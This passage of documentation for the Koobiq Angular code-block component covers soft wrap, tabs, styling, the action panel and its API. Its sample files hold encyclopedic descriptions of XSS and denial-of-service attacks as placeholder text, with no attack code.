            [(viewAll)]="viewAll"
        />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                xml: () => import('highlight.js/lib/languages/xml')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithMaxHeightExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            content: `<?xml version="1.0" encoding="UTF-8" ?>\n<vulnerabilities>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Denial-of-service attack</name>\n\t\t<abbreviation>DoS</abbreviation>\n\t\t<description>In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled. The range of attacks varies widely, spanning from inundating a server with millions of requests to slow its performance, overwhelming a server with a substantial amount of invalid data, to submitting requests with an illegitimate IP address.</description>\n\t</vulnerability>\n<vulnerabilities>`,
            language: 'xml'
        }
    ];

    readonly viewAll = model(false);
    readonly filled = model(false);
}
```

#### Soft line wrap

By default, lines do not wrap. The wrap mode can be configured in advance using the `softWrap` attribute, and the user can also be given the ability to control this with a toggle button in the action panel, enabled using the `canToggleSoftWrap` attribute.

The icon in the button represents the future state after activation; the icon changes after the wrap mode is toggled.

**Example: Code-block with \[softWrap]="true" attribute** (`code-block-with-soft-wrap`)

```ts code-block-with-soft-wrap-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'code-block-with-soft-wrap-example',
    imports: [
        KbqCodeBlockModule,
        KbqToggleModule,
        FormsModule
    ],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="softWrap">Word wrap</kbq-toggle>
        <kbq-code-block canToggleSoftWrap lineNumbers [files]="files" [(softWrap)]="softWrap" />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                json: () => import('highlight.js/lib/languages/json')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithSoftWrapExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            content: `[\n\t{\n\t\t"name": "Cross-site scripting",\n\t\t"abbreviation": "XSS",\n\t\t"description": "Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 \"traditional\" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network."\n\t}\n]`,
            language: 'json'
        }
    ];

    softWrap: boolean = false;
}
```

#### Displaying multiple documents

Multiple documents are placed in the block within tabs. The tab title is formed from the `filename` field. If needed, tabs can be hidden using the `hideTabs` attribute, and the active tab can be set using the `activeFileIndex` attribute.

Tabs are hidden automatically for a single document with an empty `filename`.

**Example: Code-block with tabs** (`code-block-with-tabs`)

```ts code-block-with-tabs-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'code-block-with-tabs-example',
    imports: [
        KbqCodeBlockModule,
        KbqToggleModule,
        FormsModule
    ],
    template: `
        <kbq-toggle class="layout-margin-right-m layout-margin-bottom-m" [(ngModel)]="hideTabs">Hide tabs</kbq-toggle>
        <kbq-toggle class="layout-margin-right-m" [(ngModel)]="filled">Filled</kbq-toggle>
        <kbq-toggle [(ngModel)]="lineNumbers">Line numbers</kbq-toggle>

        <kbq-code-block
            canToggleSoftWrap
            [activeFileIndex]="1"
            [canDownload]="true"
            [files]="files"
            [hideTabs]="hideTabs()"
            [filled]="filled()"
            [lineNumbers]="lineNumbers()"
        />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                html: () => import('highlight.js/lib/languages/xml'),
                typescript: () => import('highlight.js/lib/languages/typescript'),
                css: () => import('highlight.js/lib/languages/css')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithTabsExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            language: 'html',
            filename: 'index.html',
            content: `<!DOCTYPE html>\n<html lang="en">\n\t<head>\n\t\t<title>Koobiq</title>\n\t\t<meta charset="UTF-8" />\n\t\t<base href="/">\n\t\t<meta name="viewport" content="width=device-width, initial-scale=1" />\n\t\t<link rel="icon" type="image/x-icon" href="favicon.ico" />\n\t\t<meta name="description" content="Koobiq is an open-source design system with Angular components, design tokens, icons and guidelines for building interfaces" />\n\t</head>\n\t<body>\n\t\t<app-root>Loading...</app-root>\n\t</body>\n</html>`
        },
        {
            language: 'typescript',
            filename: 'main.ts',
            content: `import { ChangeDetectionStrategy, Component } from '@angular/core';\nimport { bootstrapApplication } from '@angular/platform-browser';\nimport { KbqLink } from '@koobiq/components/link';\n\n@Component({\n\timports: [KbqLink],\n\tselector: 'app-root',\n\ttemplate: \`<a kbqLink target="_blank" href="https://koobiq.io/">Koobiq</a>\`,\n\tchangeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class App {}\n\nbootstrapApplication(App).catch((error) => console.error(error));`
        },
        {
            language: 'css',
            filename: 'main.css',
            content: `body {\n\tmargin: 0;\n\tfont-family: var(--kbq-typography-text-normal-font-family);\n\tfont-size: var(--kbq-typography-text-normal-font-size);\n\tfont-weight: var(--kbq-typography-text-normal-font-weight);\n\tline-height: var(--kbq-typography-text-normal-line-height);\n\ttext-transform: var(--kbq-typography-text-normal-text-transform);\n\tfont-feature-settings: var(--kbq-typography-text-normal-font-feature-settings);\n\tletter-spacing: var(--kbq-typography-text-normal-letter-spacing);\n\tbackground: var(--kbq-background-bg);\n\tcolor: var(--kbq-foreground-contrast);\n}\n\na {\n\tcolor: var(--kbq-link-text);\n\ttext-decoration: none;\n}`
        }
    ];

    readonly hideTabs = model(false);
    readonly filled = model(false);
    readonly lineNumbers = model(true);
}
```

The tab header block is displayed without a shadow by default. If content extends beyond the area, a shadow appears under the tab header block when the code block content is scrolled.

**Example: Code-block with tabs and shadow** (`code-block-with-tabs-and-shadow`)

```ts code-block-with-tabs-and-shadow-example.ts
import { AfterViewInit, ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import {
    KbqCodeBlock,
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';

@Component({
    selector: 'code-block-with-tabs-and-shadow-example',
    imports: [KbqCodeBlockModule],
    template: `
        <kbq-code-block
            lineNumbers
            canToggleSoftWrap
            [activeFileIndex]="2"
            [softWrap]="true"
            [files]="files"
            [style.height.px]="350"
        />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                html: () => import('highlight.js/lib/languages/xml'),
                typescript: () => import('highlight.js/lib/languages/typescript'),
                css: () => import('highlight.js/lib/languages/css')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithTabsAndShadowExample implements AfterViewInit {
    readonly codeBlock = viewChild.required(KbqCodeBlock);

    readonly files: KbqCodeBlockFile[] = [
        {
            language: 'html',
            filename: 'index.html',
            content: `<!DOCTYPE html>\n<html lang="en">\n\t<head>\n\t\t<title>Koobiq</title>\n\t\t<meta charset="UTF-8" />\n\t\t<base href="/">\n\t\t<meta name="viewport" content="width=device-width, initial-scale=1" />\n\t\t<link rel="icon" type="image/x-icon" href="favicon.ico" />\n\t\t<meta name="description" content="Koobiq is an open-source design system with Angular components, design tokens, icons and guidelines for building interfaces" />\n\t</head>\n\t<body>\n\t\t<app-root>Loading...</app-root>\n\t</body>\n</html>`
        },
        {
            language: 'typescript',
            filename: 'main.ts',
            content: `import { ChangeDetectionStrategy, Component } from '@angular/core';\nimport { bootstrapApplication } from '@angular/platform-browser';\nimport { KbqLink } from '@koobiq/components/link';\n\n@Component({\n\timports: [KbqLink],\n\tselector: 'app-root',\n\ttemplate: \`<a kbqLink target="_blank" href="https://koobiq.io/">Koobiq</a>\`,\n\tchangeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class App {}\n\nbootstrapApplication(App).catch((error) => console.error(error));`
        },
        {
            language: 'css',
            filename: 'main.css',
            content: `body {\n\tmargin: 0;\n\tfont-family: var(--kbq-typography-text-normal-font-family);\n\tfont-size: var(--kbq-typography-text-normal-font-size);\n\tfont-weight: var(--kbq-typography-text-normal-font-weight);\n\tline-height: var(--kbq-typography-text-normal-line-height);\n\ttext-transform: var(--kbq-typography-text-normal-text-transform);\n\tfont-feature-settings: var(--kbq-typography-text-normal-font-feature-settings);\n\tletter-spacing: var(--kbq-typography-text-normal-letter-spacing);\n\tbackground: var(--kbq-background-bg);\n\tcolor: var(--kbq-foreground-contrast);\n}\n\na {\n\tcolor: var(--kbq-link-text);\n\ttext-decoration: none;\n}`
        }
    ];

    ngAfterViewInit(): void {
        this.codeBlock().scrollTo({ bottom: 0, behavior: 'instant' });
    }
}
```

#### Visual styling

Two visual styles are available for the block: with a border or with a background contrasting to the page background. The contrasting background prevents the block from getting lost on a screen with varied content, and is configured using the `filled` attribute.

**Example: Code-block with filled attribute** (`code-block-with-filled`)

```ts code-block-with-filled-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'code-block-with-filled-example',
    imports: [
        KbqCodeBlockModule,
        KbqToggleModule,
        FormsModule
    ],
    template: `
        <kbq-toggle class="layout-margin-bottom-m layout-margin-right-m" [(ngModel)]="filled">Filled</kbq-toggle>
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="alwaysShowActionbar">Always show actionbar</kbq-toggle>

        <kbq-code-block [files]="files" [filled]="filled()" [alwaysShowActionbar]="alwaysShowActionbar()" />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                bash: () => import('highlight.js/lib/languages/bash')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithFilledExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            language: 'bash',
            content: 'npm install @koobiq/components'
        }
    ];

    readonly filled = model(true);
    readonly alwaysShowActionbar = model(false);
}
```

#### Without borders

When the code block should fill an entire container or screen, it is best to use a style without a border and background, configured using the `noBorder` attribute.

**Example: Code-block with noBorder attribute** (`code-block-with-no-border`)

```ts code-block-with-no-border-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KbqSidepanelModule, KbqSidepanelService } from '@koobiq/components/sidepanel';

@Component({
    selector: 'code-block-with-no-border-example',
    imports: [
        KbqCodeBlockModule,
        KbqSidepanelModule,
        KbqButtonModule
    ],
    template: `
        <button kbq-button (click)="sidepanel.open(template)">Open sidepanel</button>
        <ng-template #template>
            <kbq-code-block
                canToggleSoftWrap
                noBorder
                lineNumbers
                style="height: 100%"
                [files]="files"
                [softWrap]="true"
            />
        </ng-template>
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                xml: () => import('highlight.js/lib/languages/xml')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithNoBorderExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            content: `<?xml version="1.0" encoding="UTF-8" ?>\n<vulnerabilities>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Denial-of-service attack</name>\n\t\t<abbreviation>DoS</abbreviation>\n\t\t<description>In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled. The range of attacks varies widely, spanning from inundating a server with millions of requests to slow its performance, overwhelming a server with a substantial amount of invalid data, to submitting requests with an illegitimate IP address.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n<vulnerabilities>`,
            language: 'xml',
            link: 'https://github.com/koobiq/angular-components'
        }
    ];

    readonly sidepanel = inject(KbqSidepanelService);
}
```

#### Action panel

The action panel is located in the upper-right corner of the block and remains fixed while scrolling. The component configuration determines which actions are available.

The panel is always visible when tabs are shown, as well as on iOS and Android devices. When tabs are hidden, it appears on hover on other devices.

The `alwaysShowActionbar` attribute keeps the panel visible regardless of tabs or hover. It is disabled by default.

```html
<kbq-code-block [files]="files" canCopy alwaysShowActionbar />
```

To enable the option for all code blocks, use the [default settings](#default-settings).

##### Changing wrap mode

The user can toggle the wrap mode using a toggle button; this option is disabled by default and can be configured using the `canToggleSoftWrap` attribute.

```html
<kbq-code-block [files]="files" canToggleSoftWrap />
```

##### Downloading the document

The user can save/download the document to a file; this option is disabled by default and can be configured using the `canDownload` attribute.

The file name and extension are taken from the `filename` field. The default file name is _code_, and the default extension is _txt_.

```html
<kbq-code-block [files]="files" canDownload />
```

##### Copying the document text

The user can copy the document text; this option is enabled by default and can be configured using the `canCopy` attribute.

```html
<kbq-code-block [files]="files" canCopy="false" />
```

##### Opening the document in an external system

The address is taken from the `link` field. The link opens in a new tab.

**Example: Code-block with link** (`code-block-with-link`)

```ts code-block-with-link-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';

@Component({
    selector: 'code-block-with-link-example',
    imports: [KbqCodeBlockModule],
    template: `
        <kbq-code-block lineNumbers canCopy="false" [files]="files" />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                xml: () => import('highlight.js/lib/languages/xml')
            }
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithLinkExample {
    readonly files: KbqCodeBlockFile[] = [
        {
            link: 'https://en.wikipedia.org/wiki/Cross-site_scripting',
            filename: 'vulnerabilities.xml',
            content: `<?xml version="1.0" encoding="UTF-8" ?>\n<vulnerabilities>\n\t<vulnerability>\n\t\t<name>Cross-site scripting</name>\n\t\t<abbreviation>XSS</abbreviation>\n\t\t<description>Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. During the second half of 2007, XSSed documented 11,253 site-specific cross-site vulnerabilities, compared to 2,134 "traditional" vulnerabilities documented by Symantec. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner network.</description>\n\t</vulnerability>\n<vulnerabilities>`,
            language: 'xml'
        }
    ];
}
```

#### Default settings

`kbqCodeBlockDefaultOptionsProvider` sets the default code block settings for the whole application or for a single component.

```ts
bootstrapApplication(AppComponent, {
    providers: [kbqCodeBlockDefaultOptionsProvider({ lineNumbers: true, alwaysShowActionbar: true })]
});
```

### API

#### Components

##### KbqCodeBlock (component)

Component which highlights blocks of code.

```ts
@Component({ selector: 'kbq-code-block', exportAs: 'kbqCodeBlock' })
class KbqCodeBlock {
    readonly lineNumbers = input<boolean>(
        this.defaultOptions?.lineNumbers ?? false
    );
    readonly filled = input<boolean>(false);
    readonly canToggleSoftWrap = input<boolean>(false);
    readonly softWrap = model<boolean>(false);
    readonly viewAll = model<boolean>(false);
    readonly maxHeight = input<number | undefined>();
    readonly canDownload = input<boolean>(false);
    readonly canCopy = input<boolean>(true);
    readonly alwaysShowActionbar = input<boolean>(
        this.defaultOptions?.alwaysShowActionbar ?? false
    );
    readonly files = input<KbqCodeBlockFile[]>([]);
    readonly activeFileIndex = model<number>(0);
    readonly noBorder = input<boolean>(false);
    readonly hideTabs = model<boolean>(false);
    toggleViewAll(): void;
    scrollTo(options: KbqScrollbarScrollToOptions): void;
    toggleSoftWrap(): void;
}
```

- `[lineNumbers]`: `boolean` — Whether to display line numbers. Defaults to `lineNumbers` of `KBQ_CODE_BLOCK_DEFAULT_OPTIONS`, or `false`.
- `[filled]`: `boolean` — Whether the code block should be filled.
- `[canToggleSoftWrap]`: `boolean` — Added soft wrap toggle button.
- `[(softWrap)]`: `boolean` — Whether sequences of whitespace should be preserved.
- `[(viewAll)]`: `boolean` — Allows to view all the code, otherwise it will be hidden.
  Works only with `maxHeight` property.
- `[maxHeight]`: `number | undefined` — Maximum height of the code block content, other parts will be hidden.
  Can be toggled by `viewAll` property.
- `[canDownload]`: `boolean` — Added download code button.
- `[canCopy]`: `boolean` — Added copy code button.
- `[alwaysShowActionbar]`: `boolean` — Whether the actionbar should remain visible when tabs are hidden.
- `[files]`: `KbqCodeBlockFile[]` — Files to display.
- `[(activeFileIndex)]`: `number` — Defines which file (index) is active.
- `[noBorder]`: `boolean` — Whether to hide border.
- `[(hideTabs)]`: `boolean` — Whether to hide header tabs. A single file without a filename hides them regardless - read
  `tabsHidden` for what the header actually does.
  Makes actionbar floating if tabs are hidden.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `toggleViewAll()`: `void` — Toggles the `viewAll` property.

  When `viewAll` is set to `true`, the content of the code block will be
  displayed in its entirety. When set to `false`, the content will be
  limited to the `maxHeight` property. If the content exceeds the
  `maxHeight`, it will be scrolled to the top and the `viewAll` button
  will be displayed.
- `scrollTo()`: `void` — Scrolls the code content to the specified position.
- `toggleSoftWrap()`: `void` — Toggles `softWrap` property.

  When `softWrap` is set to `true`, the content of the code block will be
  wrapped if it exceeds the height of the component. When set to `false`
  the content will not be wrapped.

#### Directives

##### KbqCodeBlockTabLinkContent (directive)

Marks a template as a custom tab link.

```ts
@Directive({
    selector: 'ng-template[kbqCodeBlockTabLinkContent]',
    exportAs: 'kbqCodeBlockTabLinkContent'
})
class KbqCodeBlockTabLinkContent {}
```

#### Types

##### KbqCodeBlockDefaultOptions (type)

Default options for `kbq-code-block`.

```ts
type KbqCodeBlockDefaultOptions = Partial<{
    alwaysShowActionbar: boolean;
    lineNumbers: boolean;
}>;
```

- `alwaysShowActionbar?`: `boolean` — Whether the actionbar should remain visible when tabs are hidden. Defaults to `false`.
- `lineNumbers?`: `boolean` — Whether to display line numbers. Defaults to `false`.

##### KbqCodeBlockFile (type)

Code block file object.

```ts
type KbqCodeBlockFile = {
    content: string;
    filename?: string;
    language?: string;
    link?: string;
};
```

- `content`: `string` — Code content.
- `filename?`: `string` — File name, which will be displayed in UI and when downloading.
  If not provided, will be set to `KBQ_CODE_BLOCK_FALLBACK_FILE_NAME`.
- `language?`: `string` — File language, required for correct syntax highlighting. It has to be registered in `languages` of
  `KbqCodeBlockHighlightJsConfig`, unless the full bundle of highlight.js is loaded. If not provided or not
  registered, will be set to `KBQ_CODE_BLOCK_FALLBACK_FILE_LANGUAGE`, or to `plaintext` if that is not registered
  either.

  See the [list of supported languages](https://github.com/highlightjs/highlight.js/blob/11-stable/SUPPORTED_LANGUAGES.md).
- `link?`: `string` — Link to the file, which will be opened in a new window.
  Adds `openExternalSystem` button.

##### KbqCodeBlockHighlightJsConfig (type)

Configuration of highlight.js, which highlights the code of a code block: how to load it and which languages to
register. Without a configuration, the code block loads the highlight.js core, which has no languages, and shows the
code as plain text. Provide it with `kbqCodeBlockHighlightJsConfigProvider`.

```ts
type KbqCodeBlockHighlightJsConfig = Partial<{
    core: () => Promise<{ default: HLJSApi }>;
    languages: Record<string, () => Promise<{ default: LanguageFn }>>;
}>;
```

- `core?`: `() => Promise<{ default: HLJSApi }>` — Lazy loader for the highlight.js instance. The core has no languages: register the ones the files use in
  `languages`, or load all of them with `() => import('highlight.js')`, the full bundle of about 1 MB.
  Defaults to `() => import('highlight.js/lib/core')`.
- `languages?`: `Record<string, () => Promise<{ default: LanguageFn }>>` — Map of language name to lazy loader for that language's LanguageFn. A language of highlight.js loads from
  `highlight.js/lib/languages/<name>`, where `<name>` is the name of its file in
  [src/languages](https://github.com/highlightjs/highlight.js/tree/11-stable/src/languages). Plain text needs no
  entry: the code block registers it as the fallback language.

##### KbqTabLinkTemplateContext (type)

Context provided to the tab link template: `$implicit` is the code block file for the current tab, and
`fallbackFileName` is displayed when the file has no explicit name.

```ts
type KbqTabLinkTemplateContext = {
    $implicit: KbqCodeBlockFile;
    fallbackFileName: string;
};
```

#### Constants

##### KBQ_CODE_BLOCK_DEFAULT_OPTIONS (const)

Injection token used to configure the default options for all `kbq-code-block` components.

```ts
const KBQ_CODE_BLOCK_DEFAULT_OPTIONS: InjectionToken<KbqCodeBlockDefaultOptions>;
```

##### KBQ_CODE_BLOCK_FALLBACK_FILE_LANGUAGE (const)

Fallback language for code block if language is not supported/specified. It has to be registered in `languages` of
`KbqCodeBlockHighlightJsConfig`, unless it is plain text or the full bundle of highlight.js is loaded, or the code
block falls back to `plaintext`.

See the [list of supported languages](https://github.com/highlightjs/highlight.js/blob/11-stable/SUPPORTED_LANGUAGES.md).

```ts
const KBQ_CODE_BLOCK_FALLBACK_FILE_LANGUAGE: InjectionToken<string>;
```

##### KBQ_CODE_BLOCK_FALLBACK_FILE_NAME (const)

Fallback file name for code block if file name is not specified.

```ts
const KBQ_CODE_BLOCK_FALLBACK_FILE_NAME: InjectionToken<string>;
```

##### KBQ_CODE_BLOCK_HIGHLIGHT_JS_CONFIG (const)

Injection token for configuring `KbqCodeBlockHighlightJsConfig`.

```ts
const KBQ_CODE_BLOCK_HIGHLIGHT_JS_CONFIG: InjectionToken<KbqCodeBlockHighlightJsConfig>;
```

